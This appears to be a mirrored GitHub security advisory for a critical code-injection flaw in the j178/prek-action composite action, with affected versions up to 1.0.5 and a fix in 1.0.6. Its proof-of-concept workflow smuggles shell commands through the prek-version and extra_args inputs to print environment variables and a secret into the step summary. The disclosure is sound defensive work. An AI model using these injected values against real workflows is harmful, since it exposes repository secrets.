GHSA-pwf7-47c3-mfhx

Suggest an improvement
Source
https://github.com/advisories/GHSA-pwf7-47c3-mfhx
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-pwf7-47c3-mfhx/GHSA-pwf7-47c3-mfhx.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-pwf7-47c3-mfhx
Published
2025-09-29T17:51:19Z
Modified
2026-09-15T06:34:52Z
Severity
  • 9.9 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H CVSS Calculator
Summary
j178/prek-action vulnerable to arbitrary code injection in composite action
Details

Summary

There are three potential attacks of arbitrary code injection vulnerability in the composite action at action.yml.

Details

The GitHub Action variables inputs.prek-version, inputs.extra_args, and inputs.extra-args can be used to execute arbitrary code in the context of the action.

PoC

- uses: j178/prek-action@v1.0.5
  with:
    prek-version: $(printenv >> $GITHUB_STEP_SUMMARY && echo "0.2.2")
    extra_args: '&& echo "MY_SECRET with a character is: ${MY_SECRET:0:1}a${MY_SECRET:1}" >> $GITHUB_STEP_SUMMARY && echo ""'
  env:
    MY_SECRET: ${{ secrets.MY_SECRET }}

The previous example will print all the environment variables, and it will expose MY_SECRET environment variable value to the summary of the workflow. An attacker could potentially use this vector to compromise the security of the target repository, even passing unnotice because the action will run normally.

Impact

Critical, CWE-94

Database specific
{
    "cwe_ids": [
        "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-29T17:51:19Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
}
References

Affected packages

GitHub Actions / j178/prek-action

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
1.0.6
Type
GIT
Repo
https://github.com/j178/prek-action
Events
Introduced
0 Unknown introduced commit / All previous commits are affected
Fixed

Affected versions

v1.*
v1.0.1
v1.0.2
v1.0.3
v1.0.4
v1.0.5

Database specific

last_known_affected_version_range
"<= 1.0.5"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/09/GHSA-pwf7-47c3-mfhx/GHSA-pwf7-47c3-mfhx.json"